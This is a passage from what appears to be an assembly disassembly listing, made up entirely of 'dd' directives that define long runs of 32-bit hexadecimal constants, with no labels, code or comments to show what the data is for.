		dd 0D4A018E8h, 0C242848Bh, 0C96A760Fh, 0AB6FD60Eh, 0FA09B943h
		dd 0FBD8C24Ah, 6791C263h, 0E1ACFB95h, 0D5BAA917h, 963A421Ch
		dd 0C55D69C4h, 3A1B1FDBh, 0AD9796F1h, 0DF3AD258h, 9CE3C77Fh
		dd 0C3D0E415h, 80A0C4EFh, 0E48BB917h, 9CD0323Ah, 5C06688Ah
		dd 0C3E35C6Eh, 294D070Fh, 10393DDh, 4B9829A7h, 7E2CA0Fh
		dd 0EC7FDCD5h, 85313ACBh, 45B85DD8h, 0BBD3E98Ch, 54EFBFA0h
		dd 448AD93Dh, 931DEFB3h, 723ED94Dh, 0F126CA23h,	3ABDF3EDh
		dd 56AD9207h, 112488h, 348AAD79h, 5A7AD9ACh, 714AAD59h
		dd 0FBE4D024h, 2230B2DEh, 0FDD93798h, 96219AC7h, 0D305C72Fh
		dd 0E286B260h, 0BCCF62C9h, 0BB0961A1h, 86259956h, 0EA3AB492h
		dd 294A35A2h, 4D3AE03Eh, 68975635h, 0CC6936D6h,	0F699B01Fh
		dd 0BA0A4C6Dh, 0F02BF9Ch, 1F8C087h, 8D2A1998h, 479F9D23h
		dd 94EE819Fh, 102EA069h, 0C06C06A7h, 0C040574Eh, 61426EB4h
		dd 0DF1270FDh, 9D421F96h, 8F20FC25h, 6274B604h,	0A201B6E7h
		dd 6F6FAD95h, 0EB00A7D4h, 5B34B0CCh, 36186AE0h,	0B2C8CE43h
		dd 0DDDB673h, 0D0FFD55Bh, 6FD1BA20h, 2855F647h,	94D66D27h
		dd 1467258Ah, 70D96C0Dh, 0DA03A27Fh, 3B4BB0A4h,	9E6DBD7Fh
		dd 0B3A36176h, 0AF1E50DFh, 0DEB520E7h, 0F6F689DCh, 503030h
		dd 335D9BDCh, 7807FD8Eh, 13002C7Fh, 875F5AE5h, 8B08016Ch
		dd 47CA492Bh, 31109A32h, 0A86B2F7Ah, 145F117Dh,	253401A2h
		dd 0A130301Dh, 0F29E1551h, 1B3FD496h, 574E398Dh, 9FC9F6ACh
		dd 0C46CF09Dh, 1B8FDBB0h, 0A13A53E2h, 0DD91A56Dh, 526F9C79h
		dd 41E871BEh, 8049D074h, 0F6222DEEh, 0B74B1F57h, 1D5AAD6Fh
		dd 0A71BB12Fh, 0B14952ABh, 82A4EFE3h, 7899DEAAh, 3C612C7Bh
		dd 0CA523350h, 0D03ECDFCh, 85F7A720h, 0B44C2600h, 82603D63h
		dd 29E91F7Fh, 1AB04C11h, 0F221C544h, 0EAFBA222h, 0AFE2B0D5h
		dd 0A15DB3FBh, 3F50750Bh, 9686C476h, 0AEB8FEF9h, 82A71BEEh
		dd 9973EEC3h, 55D11C44h, 8C9AA82Ah, 201413A6h, 30C51047h
		dd 140D3BB3h, 0E62A9321h, 2D17DD52h, 86203168h,	920D2824h
		dd 12714C3Dh, 0D626A4E9h, 0A51B9C55h, 0EE393430h, 3E79E4A5h
		dd 63424CD6h, 0A4C72B70h, 7074D0F2h, 0D8553EB0h, 0E039CE25h
		dd 0AA45E19h, 0CB96D126h, 0E80F1B60h, 0C43F1BB0h, 0D52F39DAh
		dd 5077A6F3h, 0FDD1FFC1h, 399A9731h, 6E0EE987h,	0DA7E45F8h
		dd 18AD25E4h, 0EB791AC2h, 0B7A6729Ch, 5CE4BF0Dh, 0CA0C4F13h
		dd 5DC0848h, 6CBD0CA0h,	11E6CA3Dh, 2768D397h, 0E0FA2F0Ch
		dd 0D72011C9h, 0D646A5A2h, 0CD6598h, 43D9F383h,	77DCFD8Ch
		dd 0BA75B92Fh, 0BACA318Ah, 0D37B5CD7h, 22D5B459h, 0C19B7D8Ch
		dd 3E528843h, 0BEEAB332h, 0ACBC047Eh, 969E2C1Dh, 46938873h
		dd 92C29FAAh, 864FF205h, 3E8525EAh, 0CFA854E0h,	118BC4E4h
		dd 0F454675Ah, 0B2F8B19Fh, 5BFE62E7h, 6AF16941h, 724E299Fh
		dd 6524EE2Eh, 8B0BD264h, 6FE4DB1Bh, 0FEFDE3D3h,	3A270B76h
		dd 0D0CF3BADh, 1AC69BD0h, 6F65239Eh, 0EC3D2E8Bh, 0C8A92786h
		dd 273CF2D0h, 51BB041Dh, 297ACCDEh, 6B60D2Dh, 3DFD8981h
		dd 2CDBCA31h, 197AE543h, 570FB811h, 9ECDC20Ah, 7EF51497h
		dd 0F92A9689h, 4D27EDA9h, 84D5330Bh, 0B0C2B9E1h, 0EBC2F1EFh
		dd 12D66454h, 0DABE01CCh, 98928ED1h, 0C4463870h, 0E93E4EE0h
		dd 0BC36A6E6h, 622F399Fh, 21A27CC8h, 5A5E4E96h,	0AFA8A0BAh
		dd 5CE22F0Dh, 0D2D8D2FFh, 10D8935Bh, 1CC7F2F4h,	3A47F6EBh
		dd 114EABEEh, 928DE8B8h, 7CFDC626h, 0D5A9122Bh,	0C268EBF3h
		dd 0B73D3E8Eh, 918E42DDh, 6F80EF66h, 3194688Fh,	0F0A87C49h
		dd 36E93EF2h, 863AE216h, 0A6C9CD2Ch, 0D11270BAh, 0B202FADEh
		dd 0A4FBEF5Ah, 0C93BA280h, 19726496h, 652FFDCAh, 0E75EE423h
		dd 1C5C88C9h, 18861E8Ah, 0E53F7F97h, 0AB1D831Eh, 7A758171h
		dd 0B71DDACBh, 279B5B2Eh, 0C21C6B8Dh, 26C63523h, 0FA284C2Dh
		dd 0BA8156D2h, 6E29B352h, 0BD326AFCh, 3DD7C028h, 2B3DA845h
		dd 734A40F8h, 0F717604h, 96CFCC11h, 1F3A0D77h, 36917381h
		dd 0C526C426h, 7188B13Ch, 0C28AFC13h, 2CFB5634h, 200273FFh
		dd 0D4BE03A7h, 803DFBE9h, 10E70C22h, 0C359D201h, 840BB1D5h
		dd 0ADE24FF7h, 0C134F1D0h, 2A5B461Ch, 58C96706h, 5B7864D4h
		dd 0F03B96F1h, 35EBA660h, 8270F44h, 0C1326336h,	95BA3640h
		dd 0E608809Eh, 0C4D0AD8Eh, 2DABCA1h, 79451F4Fh,	50267275h
		dd 0CF256159h, 811F1DC3h, 0D85F887Ch, 39C996ABh, 0FBC9D5ACh
		dd 733DF065h, 44549374h, 7C753B85h, 0DB45DC78h,	569F9986h
		dd 52BE3C47h, 0B3B05CACh, 0F75B8C3Eh, 0C3DCEB3Ch, 0A0132083h
		dd 3069EA6Fh, 0D7A62665h, 8425DCD6h, 0E7CCA3A1h, 79E23993h
		dd 571C1616h, 0B65CB248h, 5DCADC97h, 0E269B2C4h, 322E31CCh
		dd 0CD2F4924h, 8B7145Ah, 20ED8809h, 0EA4F5A3Ah,	0A70D1229h
		dd 9B822DB2h, 0C5FA3D25h, 0B5C67FD8h, 28751EC0h, 39408E38h
		dd 939C01B7h, 34AF2E9Ch, 49C5DDE8h, 9AB6BF6Eh, 0C288E4C4h
		dd 29248407h, 0B44B3636h, 0E5B2C54Fh, 0D4DD6387h, 844D5127h
		dd 2AAE1897h, 9E8AFAB1h, 187A75EEh, 95CD6A64h, 85CB24A7h
		dd 0F2E097C0h, 12BEBC83h, 0CA42315h, 91AF49F7h,	5BC5D23h
		dd 2BF696DBh, 85DDB7A1h, 0A9FAB770h, 0D36B4FF5h, 0A8FF502Eh
		dd 0C32573BEh, 95B6934Ch, 0E703A807h, 0CADC0052h, 6BC5CCE0h
		dd 46174B92h, 0B80503A7h, 0D3485391h, 0FAD75EA4h, 0ED1B2516h
		dd 1B5154Fh, 2A792B79h,	2514D9CCh, 5EFE9115h, 1FCEFCDAh
		dd 0B6902E1h, 6392D2B7h, 2C5EF3E7h, 3DF4D193h, 0B8C6B440h
		dd 0C478DDFDh, 15B606CAh, 1B9B376Ch, 61EB83D6h,	447A2220h
		dd 0C2EC14C5h, 34EE3B4Eh, 2FF39520h, 60E7C397h,	389CE41Dh
		dd 0CED4B744h, 31107971h, 9FF98DA2h, 7F5F57B8h,	79C905E4h
		dd 0AE43F83Fh, 42406F22h, 2341310Fh, 94506179h,	12199136h
		dd 0DE513F50h, 0E51B2DA3h, 0DE733C13h, 58729CABh, 6619B24Ah
		dd 9D6F84CFh, 74ECDE70h, 8D472BE6h, 63ACBFA4h, 0DBE3E1Fh
		dd 9011B7AAh, 0F6A24Ch
		dd 1E3CC55Ah, 0D28035Ah, 64371EDCh, 27DDDDBEh, 0B6F9A32Ah
		dd 654355C9h, 0C716CA2h, 946E97FBh, 25D17B53h, 103DE93h
		dd 2825E914h, 106B3E21h, 0B093ECFEh, 0C03C5B37h, 0C2A0B160h
		dd 6488DDF1h, 8F3821B0h, 0BB3551A4h, 0D265A4F0h, 25599B57h
		dd 86A22E80h, 6D212110h, 49343F99h, 1966AAF5h, 8C0B229Eh
		dd 0CB2FBF32h, 1E41C93Ah, 0FBC56404h, 76905ADAh, 98F42C89h
		dd 40515D5Bh, 0D4AB5B6h, 64C52F9Ch, 4041A7B1h, 413EE48Bh
		dd 4E28A0C4h, 0DE8A70BCh, 0E0219868h, 1C08A8D2h, 0CA5310B0h
		dd 0C6473B91h, 0D9FAB748h, 1A455BEFh, 0CC67876Fh, 133CBD58h
		dd 0DAE501Fh, 0CC31239Eh, 7B286C19h, 2AFB0A9Eh,	1E029511h
		dd 0D9843D1Ah, 60FB8021h, 0D3034C1Fh, 0F529C020h, 2EC90081h
		dd 0D91D2E3Eh, 549BF05Dh, 0D6A0D581h, 5CCDCBA0h, 81582B3h
		dd 2CA771C6h, 3DCBEAE4h, 1C1FF43Bh, 4AF6971Fh, 0F2F9067Fh
		dd 0EF977881h, 3D734D8Ah, 175FD5C2h, 8F36A20Fh,	6FF85164h
		dd 0AB77027Eh, 53260BB2h, 0D5B10405h, 0D49D05CFh, 0D4DDCC13h
		dd 0F42F755Ch, 0A3CADB13h, 5F23B2CCh, 730D23FAh, 0F138F444h
		dd 0DF55C1C3h, 0A4353B7Eh, 57F8D42Dh, 0E891F45Ah, 8049EAD4h
		dd 0C5314A0Eh, 6522E24Ch, 9C5F37A4h, 100F22BFh,	92E2B2Bh
		dd 0EDEBF5D2h, 17A37719h, 45CF17D0h, 4E66E88Ah,	6ADB1399h
		dd 239832D6h, 0E7BD81AFh, 6354B25Eh, 61E080D6h,	0BD446F56h
		dd 78688848h, 4EEFADF7h, 0E5227504h, 0CD3BB972h, 0B098E7ACh
		dd 3C68FBC9h, 82023BB2h, 0CA752BE1h, 9861630Dh,	98FEB2D1h
		dd 0AF92BD93h, 705047C7h, 0AA3D788Bh, 0CBB8D07Ah, 3F4C4771h
		dd 0B35B552Dh, 9A1E8D4h, 4CC48C9h, 691EA18Ah, 93983F42h
		dd 247A7801h, 7608CFBh,	0F95A8E6Bh, 0B0DCB373h,	6CB7CA4Bh
		dd 78FFC4ECh, 0D0E692CEh, 0FBD8617h, 83088464h,	3D13689Ah
		dd 4CDE6BEFh, 468AD63Fh, 0B4D080EAh, 3D18D572h,	0F501E151h
		dd 0DD81C8B1h, 22B025C6h, 0F0DC2CFFh, 47DA1BA3h, 2EB7A310h
		dd 0CA9B9FE7h, 3BF4EEBAh, 5DA7ABE1h, 0BCAC0FF7h, 0FC02E84Eh
		dd 0E11D8388h, 6CEA0F7Ch, 0BB2198E7h, 0E83AB251h, 0D05BBDB6h
		dd 9258D0h, 0FCA540A4h,	8C5FE4A4h, 0BF74C5EFh, 0CEB5F3CFh
		dd 22CFC392h, 6317639Ah, 0B2DE879Eh, 744B72E7h,	322079CAh
		dd 0C92423F9h, 0C467B500h, 7FB4BBB1h, 78CA0C92h, 779D02C7h
		dd 0D4485C15h, 0CE93E25h, 28BF2830h, 0FCFFDE36h, 0B2EF7D76h
		dd 9D98E5h, 7EF3A5Ah, 0B7841438h, 0B7936F50h, 0B195662Ah
		dd 5BDACFE3h, 39C9A59Eh, 0CF3EDD55h, 9F8B2071h,	49D488Dh
		dd 0D4F34035h, 0F4A1CF3Dh, 390D3B2Bh, 15586221h, 7A2EE72h
		dd 4F28C266h, 5A570B9Bh, 0DD53CBB0h, 44D8AEEDh,	1A1D2DA2h
		dd 5638FF08h, 1A3192E2h, 3B5CE2BFh, 0B1644651h,	0F1C98290h
		dd 43CF4061h, 4063EF40h, 5FFF24ACh, 380867ECh, 0AD24DDCAh
		dd 1130DA1h, 520D7FD5h,	66074006h, 4482A6DAh, 28CDB0EAh
		dd 9D8B580Dh, 0F95753FFh, 377F3C3Ah, 4677EC12h,	7865E4D0h
		dd 0A0393D98h, 8A5C731Eh, 0E377B6F2h, 6F3F2A91h, 0D352608Ch
		dd 10DF5C55h, 0D7EE8AE8h, 6F91B5EDh, 6F75620Ah,	0B27B6438h
		dd 44AB0935h, 0C7F2B7BEh, 7599D083h, 0F6661F7Eh, 9A8DA78h
		dd 127524Fh, 0FDC7F56Bh, 0DD4BBABFh, 0DDC41E8Eh, 50DE46AAh
		dd 73E6A2C3h, 1DC08499h, 9FF65035h, 0EB29532Ah,	0D8490F9Dh
		dd 0A8FDB0BCh, 0AA6231ADh, 0B2243117h, 0DEAC68A6h, 0CFF73E2Ch
		dd 881A395Dh, 0AA40404Eh, 0B76CC051h, 0AA7729EAh, 896DB16h
		dd 0B407C3Bh, 0D1B90CE9h, 52696FC9h, 0ACE3911Ch, 0F382D6DBh
		dd 0C9B26936h, 0B1DCDAFCh, 0EC3DA5B0h, 0B79EC25Dh, 0A2B22EE5h
		dd 0A7BEDDFDh, 183C74A8h, 9E084018h, 6BF7993Dh,	574F6F6Ch
		dd 0C12AF7FEh, 2214AE29h, 357D839Fh, 96AF1037h,	9841450Dh
		dd 0AC36D71Dh, 0D8AE91A4h, 2B4791A2h, 5ED5315Fh, 68D815F1h
		dd 78DFAD34h, 26B07396h, 1276910Fh, 40D67568h, 0A092E884h
		dd 0DC1E6324h, 6742C695h, 46B8A453h, 12252637h,	696C2B79h
		dd 6B87423h, 21561CA9h,	32ADA453h, 0AB59760Fh, 222DB44Dh
		dd 0C4DD1971h, 63764634h, 962CF0A4h, 6813B54Fh,	0D2C5ABFDh
		dd 0FE4B60DEh, 644F3D86h, 4EE6C2F2h, 0A314558Eh, 3C95E0A5h
		dd 4F6034F6h, 0B3D8F571h, 0DE8EA22Eh, 0C16603FBh, 0AE0C1E4Fh
		dd 7B95AB92h, 0DFDA47F2h, 0DC32BF67h, 0F507E630h, 0DDC4458Ah
		dd 224FFB6Dh, 84A218BDh, 42965AAh, 0D20BBEC8h, 7378546Ah
		dd 2E71C5h, 761C5696h, 40E8F467h, 161922F9h, 76ADCC61h
		dd 79305E6Eh, 0E2955C66h, 8AAAA237h, 464007DAh,	0BD7E0971h
		dd 201C74A0h, 0E0DDBBB7h, 31FA8E1h, 84124AF0h, 9B8408D6h
		dd 8C882B2Ah, 8FCAD54Fh, 0F3B018A6h, 0B702A503h, 849A3943h
		dd 0ADC458E1h, 51FECD7h, 0F94D92AFh, 8A1ABD93h,	72AC349Dh
		dd 0C98AFC5Eh, 0D4D9929Eh, 5418B19Eh, 586C09C3h, 0D326B3C4h
		dd 4B5D79F4h, 7ABA4C84h, 0CB0AC9F3h, 0F9BABE79h, 0F5991F06h
		dd 0A2B97A9h, 0FCD8F85Bh, 8D33C9EBh, 0BA3054F5h, 5E1E214Ah
		dd 6509BAD9h, 5B554902h, 120160C9h, 0B52745E8h,	0CFB23A80h
		dd 7EAEB220h, 230DE028h, 3D9A8C6Dh, 21E59615h, 6A01711Bh
		dd 0ED4A2C08h, 39291E0Fh, 4377880Dh, 21D5804Fh,	0DA74A59Ah
		dd 87AE89F3h, 532AA00Fh, 0AF4DACA1h, 0C1A8E8C6h, 22085A61h
		dd 44596B28h, 0ABC4C113h, 0DB1D73D0h, 1CF8F89Bh, 1696337Ch
		dd 12BA5E87h, 3154ED6Ah, 0A0A53BDEh, 15CADC82h,	65D96619h
		dd 0AE5E9AADh, 65E75BF5h, 739641C2h, 52AE64C1h,	141319FAh
		dd 9BC1BCAEh, 0F9FF6AB8h, 0B9F15502h, 4C760E26h, 3E61FF56h
		dd 0BFB7716Eh, 151CD45Bh, 421B0950h, 67D70E21h,	580E3803h
		dd 443B9C2Eh, 0C678ED0Ah, 0EAFD5439h, 104982A5h, 1AFED56Ah
		dd 4D1DB8FCh, 0BEDB8366h, 96E4385Fh, 838DA382h,	99FA54C2h
		dd 61305355h, 0BC87A3E6h, 8178D83h, 302A260h, 0BD884C22h
		dd 6B79DD5Bh, 8024577Eh, 34B164F1h, 5B3E7F5Ah, 6B192536h
		dd 0CFCA4DC2h, 0B05244FAh, 99BF4D7h, 7D2B7A7Ch,	67794569h
		dd 49AFCD4Eh, 4B6C0B3Ch, 2B148BFh, 9D5D1E6Fh, 59A112D3h
		dd 0A9FFA916h, 0EDD40B32h, 341A37ADh, 0B447E060h, 6F0B1D01h
		dd 6E828E2Eh, 0DAE39840h, 157A4A53h, 572D3C50h,	8581A539h
		dd 0D31B1BE9h, 85EA1EBAh, 0C69147B4h, 0F7291210h, 0D8B56EA3h
		dd 1262D5D1h, 0D9067B01h, 682432FDh, 8BFD2A49h,	72F36BFFh
		dd 5EC28179h, 0E8EB3E2Bh, 16B657EDh, 96C7E8B0h,	5E12D298h
		dd 66226173h, 0EEF27F19h, 86ECB5BAh, 0F16CB957h, 0A63FC320h
		dd 0C00B5870h, 0FF9D046Ah, 0F80A76A6h, 1A30FD08h, 0A0F0223Eh
		dd 0A789BBD0h, 0F649683Dh, 54DB1B1h, 382FF25Dh,	0B276807Eh
		dd 0A4FE1B8Ch, 0A40D32D5h, 4F29295Fh, 1214B938h, 108C6ADDh
		dd 91BB4ABCh, 0E3313526h, 0ACE42D51h, 0A6F0E553h, 1F335DF4h
		dd 51F4E811h, 0EE97A13Bh, 6AF2CE9Eh, 0B03F9711h, 0EE22C11h
		dd 0FA1F93E8h, 72B2835Bh, 3E70B898h, 0C7D3A01Fh, 826EBF3Bh
		dd 15428E36h, 95D0F1Ch,	0AFB4C802h, 0BA5EEF4Dh,	72AA4499h
		dd 0CEF94BD0h, 6412560Ch, 6E5BA9C9h, 0C9BC170Ch, 2978D55h
		dd 47E3103Bh, 0B43E8DD9h, 6997D837h, 1135CB55h,	63778171h
		dd 4BCD8DFFh, 0D6ADF98Ah, 17FD5CD3h, 72075312h,	1F9F5FC1h
		dd 7CF3A19Bh, 7ED1307Ch, 0A012373Ah, 0AF15BA01h, 0A2711CCEh
		dd 0F43D5F2Ch, 0C5DD772Eh
		dd 719D4EECh, 138B6E8Ah, 0BA6609A2h, 0F0F35B8Ch, 0F066FEC7h
		dd 825AEB30h, 2EC68095h, 57329CEEh, 0D75E8F6Bh,	0E7030BEDh
		dd 3CB3D3BAh, 0AFD17F95h, 4B5168D7h, 55A39CA4h,	893FBC80h
		dd 549A2229h, 9244B50Eh, 0FCA3275h, 949755A4h, 812302C0h
		dd 0C15CD447h, 0D6F96208h, 261997F1h, 0E976015Dh, 0DBFB47DCh
		dd 79AFEC7h, 0C58302FBh, 0C15D8BACh, 134A418Eh,	69DE971Ah
		dd 52E6699Dh, 8B1CFF4Ch, 5FEA4964h, 57F7FE54h, 0A764954Fh
		dd 0D990DCD5h, 0B4B9CF36h, 0D00D274Ah, 7FD6D443h, 4D11F95Eh
		dd 963BFDB7h, 6D231171h, 5E6ECCBFh, 0A357AD68h,	801B93E5h
		dd 1C7C3B09h, 19CCEBE5h, 3F696D4Bh, 0DC2D8635h,	1232BED3h
		dd 0C1F9F2EDh, 293D2DEh, 0E1912DD0h, 8E65C7FAh,	0D0DFA124h
		dd 0B1DBF4DDh, 448AA8D9h, 0DFBA581h, 3808FAC0h,	9BF45E3Bh
		dd 82DD295Fh, 65F29665h, 0D853E51Ah, 714BA8DDh,	7060C217h
		dd 7A2EE03h, 2164A912h,	833D097Eh, 68EEC522h, 954AD802h
		dd 3A7D7A1Eh, 55B68411h, 3C7206CEh, 2516B92h, 2D28BCF1h
		dd 0DAD7EFDBh, 7CAFD8F7h, 0FC7415A9h, 817BB5F4h, 5D5A306Eh
		dd 0F1A66708h, 1860DE1Ah, 149D99B5h, 0C5C6B84Eh, 206B5D4h
		dd 169EC7B4h, 6C7B3104h, 0B4888E47h, 9DBE3666h,	461CAEBAh
		dd 5458CE85h, 8B3DD9B2h, 7F1DE7E8h, 6B713F6Fh, 28CC51FEh
		dd 0A28CA5AFh, 43C4250Eh, 0A0F58A2Fh, 0D1997345h, 0F0660680h
		dd 0D0177EB7h, 66629D5Fh, 0BBE7253Bh, 83E53A71h, 20366CC5h
		dd 0C78561DEh, 0B9785C63h, 0AF5CAEF1h, 57924704h, 1442D726h
		dd 0A16325CFh, 0E0DEC718h, 63B0D927h, 45D0B2CAh, 4FE1D90Ah
		dd 0D8314128h, 44E558EDh, 9CD79EDAh, 0F62305F4h, 2942CFADh
		dd 426B0B7Bh, 0E4A9BCC7h, 7473F24Eh, 6E0D6228h,	817BCD2Eh
		dd 0C0DEAE94h, 54BA242Eh, 7F0D2B40h, 0E6B3707Fh, 336CB716h
		dd 0E2789EB2h, 5F94A909h, 524A5254h, 0AD106DD8h, 696C09E9h
		dd 307E829h, 38EAC1A4h,	36F0E235h, 37086308h, 6D1BA00Fh
		dd 9023CBF9h, 869F655h,	0EC04C784h, 29829D0Ch, 22246CC3h
		dd 8C3B856Ah, 796209F3h, 0BBDAEDBh, 0A66E7AC2h,	0BB12197Eh
		dd 60D39ECh, 0F6DEE00h,	367FF84Eh, 9EFB7365h, 752BBEFBh
		dd 0AF7D8D71h, 8D1D8106h, 52B0C92Bh, 0B48913E1h, 0B1E51DCAh
		dd 1EAB26ADh, 0BC004692h, 0F312B9D5h, 4640081Dh, 0DA8B996Eh
		dd 4789E0C5h, 937BE9A9h, 0C10681CFh, 0E7E3F163h, 0F702701Ch
		dd 0F93EC73Eh, 0EBCEB930h, 0AE1271A5h, 0CBDA6A72h, 0EE8C2D33h
		dd 0B048F498h, 0F25A491h, 3421508Bh, 0E8A6BC8h,	0DA696623h
		dd 0EC050506h, 0CD64A841h, 0C0A5FF10h, 3FE64CA4h, 7F4FE864h
		dd 0CEC94F6Ah, 47B1DA67h, 0BBC87EB5h, 87B41FB9h, 1A9ECCBBh
		dd 0E5D6FBB5h, 0DB6BD046h, 2B9F2150h, 66443CA9h, 0F8D7DE96h
		dd 2E224A4Dh, 0A2BD1D1Eh, 0F49F717Dh, 9AF4D0B6h, 0E1109F14h
		dd 6B313D4Ah, 129742F0h, 1838C091h, 51FC9020h, 0DEC72705h
		dd 0FB200E0h, 0E0D99A65h, 0F3A5A063h, 2F18164h,	7A5ED1AEh
		dd 960AFCFAh, 0ACCBE738h, 0A4517E7Eh, 0E4FE8BA6h, 0D20825A1h
		dd 5318BA95h, 80ABB5EAh, 21BB2BD7h, 0CF287C32h,	0E29B9AEh
		dd 1E6381E8h, 9E5F8013h, 5488C5D7h, 25048E68h, 5E0F0A8h
		dd 35571AD5h, 0BCB6F396h, 0CF5588A9h, 67C48F7Bh, 37F7F4D6h
		dd 6DBECA35h, 0A0685070h, 43FB22F3h, 7984818Dh,	4D17E47Fh
		dd 0BC42DD12h, 0D2EED714h, 1AF8288Fh, 5370A0E7h, 0DC94FA22h
		dd 15D98CADh, 57C00A96h, 16364B4Dh, 0AA8D881h, 0B42D8937h
		dd 9C65142Ah, 2C448EEh,	86C9D8DBh, 37FF150Eh, 0D81BA1B3h
		dd 0F4807C77h, 7D2AC841h, 528D477Bh, 18BDCEF5h,	53D1DDD8h
		dd 929C0CC1h, 3190F6EBh, 8DD965A6h, 5DA7A3BAh, 94457C31h
		dd 16F7B990h, 89FF98CBh, 3734E6DDh, 3CE4D6A0h, 2D73597Bh
		dd 22247FD2h, 0C6EB90Dh, 0ABE035B9h, 43B83C1Dh,	71E5B4CDh
		dd 0FFAE4590h, 64104593h, 5A514C7Eh, 0E3B37604h, 58A51324h
		dd 81E6E78Eh, 9B4415Ah,	4D188C06h, 0C2B5464Bh, 0EED35F19h
		dd 43B88233h, 415EAB00h, 6219A5A2h, 0EB911F0Bh,	2CA37CDFh
		dd 0B8AC3B91h, 0F4B03C1Fh, 2E2DE09Ch, 5C155022h, 0FB2EF092h
		dd 7A86F7C9h, 806CD3D3h, 2BC27C6Ah, 4C52F3ADh, 0A5250494h
		dd 0A8DE069h, 6F3C4129h, 0FE40693Fh, 2EB535EBh,	0CA1C95DAh
		dd 272D2B40h, 0CAE38EE8h, 1726407Fh, 25E742EBh,	0B46362F1h
		dd 9A78B0CEh, 9C9E80B4h, 380A5EEAh, 0D6740637h,	9507C786h
		dd 0A6F3EA31h, 0B7FC0C81h, 729FB14Eh, 8E2121AFh, 0C6158078h
		dd 328458E4h, 5282DE15h, 0D3C0DF64h, 0D682FC6Dh, 1D87CE9Dh
		dd 0ACE8F8DBh, 0FB067F82h, 0DE911334h, 2A11C1CCh, 0C4DB10D4h
		dd 9B30BF6Ch, 7C0CCF48h, 0F75C1078h, 9D5698A9h,	0F63E443h
		dd 3B7F8EBFh, 0E49FCFC2h, 75636BECh, 43E5824Bh,	229C1255h
		dd 0DC008EDDh, 441B349Ah, 0E26F1C7h, 0D785571Fh, 0BD38178Ah
		dd 3D4D49CEh, 854E6466h, 0D229ED0Dh, 3DDB39A8h,	182B0FE6h
		dd 57805028h, 261ADA82h, 5748E6F1h, 0D49791DBh,	0E784311h
		dd 4F22F19Ah, 3E74BD35h, 2C8C57DFh, 194C85Fh, 0F85E1E4Bh
		dd 0D376FD12h, 18BE0B22h, 5F2E9A42h, 0D9F0BAEAh, 9510EA4Ah
		dd 0AC638E77h, 18B6FF84h, 26F32A11h, 0F0100344h, 6CD8419Dh
		dd 7F0C925Eh, 0B910128Ch, 0B897C355h, 0D0314DACh, 0ED070B0Fh
		dd 53ADD16Ch, 0DE7F4E86h, 28F70EF4h, 2B934487h,	741F1641h
		dd 0ED925F3Dh, 8949F076h, 0EC97711h, 410D8626h,	0A95081B5h
		dd 0B2D4C5B9h, 30F698BBh, 0E42BCAA4h, 0E94F819Eh, 0F58FC4AEh
		dd 32515A20h, 4309E576h, 4FD0DF08h, 6D8B29F4h, 68936801h
		dd 0E830C1BFh, 3B4001ABh, 202A9872h, 96E643EDh,	0B26A9ABAh
		dd 7C34F389h, 0D7E02313h, 0ADDFD272h, 0D0A7572Bh, 5A636FCFh
		dd 0D773CCCBh, 0A43C3060h, 52913908h, 0AD97F59Eh, 31FAB8Bh
		dd 0A7A9CFCh, 778F735Ah, 0E683A632h, 5082BDA8h,	0B2641CFEh
		dd 0AB614DEBh, 414C8A68h, 3FDD6CA7h, 60F9BF47h,	0CD5D0D2Fh
		dd 810FEFE7h, 0A9C189F2h, 25F524ADh, 610F7787h,	2288928Eh
		dd 0E0078284h, 493C774Ch, 5CA11B1Ch, 37A8840Dh,	87047B37h
		dd 9503A39Ch, 2769CFCFh, 3F6FFCC1h, 367D1FF8h, 1A291E26h
		dd 5DCC33A7h, 8DBA265Fh, 48F755C6h, 15948AE5h, 0A2F68BB4h
		dd 7B3BA9CDh, 0FD110AE0h, 5ED77ADBh, 0ABA021BDh, 4D59FDCEh
		dd 0F9938136h, 4560B473h, 0D08FB8EFh, 93AC8C0Dh, 0A16EBE67h
		dd 76247C1Ch, 6015E378h, 0E42A7E12h, 0D1C76843h, 0F5F9819Bh
		dd 892DF3C7h, 4525E9F4h, 61F02C5Bh, 0C9D62F3Ch,	0FB808806h
		dd 79914254h, 460FF680h, 9882852h, 8B4E063Fh, 0CE762225h
		dd 0B492A16h, 0F8135C50h, 38D88DC9h, 0D671D4EBh, 0F7248E44h
		dd 9EE01EEBh, 1E1638DBh, 0D51BD8C1h, 3395D9B7h,	4964209Ah
		dd 9A4FBF03h, 0B572ECC2h, 21BE3BE8h, 556382C0h,	495E3DCh
		dd 37F4DD38h, 28EE42E1h, 76B8EA48h, 0FF1E4619h,	0EFA12F7Fh
		dd 9DB76D0Eh, 0A6E57E6Fh, 27963B46h, 77D75B42h,	0CC554D05h
		dd 74648F73h, 12C34708h, 6245F29h, 5BB89D03h, 1E79A0BAh
		dd 969DB156h, 408DC489h, 9C348B51h, 0EC15F638h,	3AECAD5Bh
		dd 0D45B917Ch, 36DEF27Fh, 0C0AAEB63h, 577D75A6h, 8A31DD39h
		dd 380B5521h, 0EEDDCA44h, 0E1B3538Ch, 646E594h,	0D0A93770h
		dd 0F021755Fh, 34755E87h, 0AA24E90Ch, 0B9324BE7h, 0BA641210h
		dd 0EBCE727Ah, 74D0ED0Ah
		dd 0EDBD673h, 0BD433CD5h, 86047267h, 0C8D41B4h,	0DCC2D061h
		dd 0F134DD2Eh, 28C41E63h, 1F7B667Bh, 0DB78A955h, 7EBDA9F2h
		dd 0A172BA6Ah, 0AC5B3722h, 8437329Fh, 0BDCD31Bh, 7A783195h
		dd 2CD24B2Ah, 0A94524BFh, 0AC91FCF9h, 51B8E54Bh, 0F40268CCh
		dd 34DF63DFh, 481C5CE8h, 87E3C29Eh, 0F4C4845Ah,	0CEFDD6F0h
		dd 0CB985308h, 0E9C67B54h, 6B49675h, 0CFFC075h,	0C310E413h
		dd 6B279F52h, 77BF1707h, 434D2C7Bh, 441F5B43h, 1551B1F5h
		dd 95C6818Ch, 4258E344h, 426CC479h, 0F17D120Fh,	0D7079DCh
		dd 340E0E7Ch, 14918AF7h, 0A7FC4979h, 0B006ED7Ah, 792C583h
		dd 2F345735h, 0CF278C29h, 0EEECC0C4h, 0CE48E2A5h, 0A5882A06h
		dd 72D98B27h, 0E056058Dh, 0D5111D74h, 83AF7AAh,	133765B4h
		dd 0C84A56CDh, 54CBF945h, 7B880E78h, 0B42919F3h, 57D58FBEh
		dd 9AFDFDF5h, 0DEDA8DD2h, 0E7821620h, 4F446BD2h, 2FEB463Ah
		dd 75478B63h, 0B640615h, 0ABD3571Ah, 97685D41h,	67AAF541h
